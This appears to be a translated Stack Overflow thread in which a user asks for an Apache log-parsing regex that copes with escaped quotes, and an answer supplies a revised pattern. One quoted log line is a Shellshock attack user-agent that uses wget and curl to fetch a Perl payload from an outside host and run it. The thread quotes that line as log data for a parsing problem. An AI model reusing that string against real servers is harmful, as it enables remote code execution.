0

我想解析 Apache2 日志文件,并在这里找到了一个很好的正则表达式,使用下面的正则表达式:

/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/

问题是这个正则表达式早于 shellshock hack 机器人,并且该字符串返回与如下发送的用户代理字符串不匹配的字符串:

糟糕的 bash 攻击示例:

199.217.117.211 - - [18/Jan/2015:04:51:19 -0500] "GET /cgi-bin/help.cgi HTTP/1.0" 404 498 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /tmp/mc\""

这是一个常规的日志行:

157.55.39.0 - - [18/Jan/2015:09:32:37 -0500] "GET / HTTP/1.1" 200 37966 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"

有人可以提供一个更新的正则表达式来处理被黑客入侵的用户代理字符串,或者建议一个替代的两步 php - 正则表达式来更好地证明黑客攻击?我可以看到与处理 \" 有关的具体问题,并且似乎最后一个 regep 可以替换为 "(.*)"$ 但我想要专家意见......谢谢。

4

1 回答 1

0

更改两个实例

"([^"]*)"

"((?:[^"]|\\")*)"

这将允许\"在带引号的字符串中。

顺便说一句,在正则表达式中没有必要对引号进行反斜杠转义],当字符类是类中的第一个字符时,也不需要在字符类中进行反斜杠转义。所以你可以删除一些多余的反斜杠。就个人而言,我会使用相同的引号排除语法而不是非贪婪匹配。

最后,正如评论中所观察到的,在请求不完整的情况下,请求的解析将失败。如果唯一不完整的请求行是缺少的指示符 ( "-"),那么您可以通过将大部分请求设为可选来识别这些,将 保留-为“方法”。

所以我建议如下:

/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^]]+)\] "(\S+)(?: ((?:[^"]|\\")*) (\S+))?" (\S+) (\S+) "((?:[^"]|\\")*)" "((?:[^"]|\\")*)"$/
于 2015-01-23T18:24:24.183 回答